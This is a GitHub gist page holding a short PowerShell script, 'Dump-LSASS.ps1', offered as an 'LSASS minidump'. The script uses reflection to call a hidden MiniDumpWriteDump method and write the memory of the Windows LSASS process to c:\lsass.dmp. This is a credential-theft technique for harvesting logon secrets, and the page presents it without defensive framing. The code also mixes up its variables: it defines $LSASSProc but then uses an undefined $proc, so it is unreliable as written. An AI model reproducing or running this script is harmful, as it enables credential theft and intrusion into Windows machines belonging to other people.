Skip to content

Instantly share code, notes, and snippets.

@natesubra

natesubra/Dump-LSASS.ps1

Last active April 25, 2020 20:51
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save natesubra/f043ddd557f7016d2fba22925e9c8589 to your computer and use it in GitHub Desktop.
Save natesubra/f043ddd557f7016d2fba22925e9c8589 to your computer and use it in GitHub Desktop.
Download ZIP
LSASS minidump
Raw
Dump-LSASS.ps1
$LSASSProc = Get-Process lsass
$FileStream = New-Object IO.FileStream('c:\lsass.dmp', [IO.FileMode]::Create)
$Result = ((([PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')).GetNestedType('NativeMethods', 'NonPublic')).GetMethod('MiniDumpWriteDump', ([Reflection.BindingFlags] 'NonPublic, Static'))).Invoke($null,@($proc.Handle,$proc.Id,$FileStream.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))
$FileStream.Close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment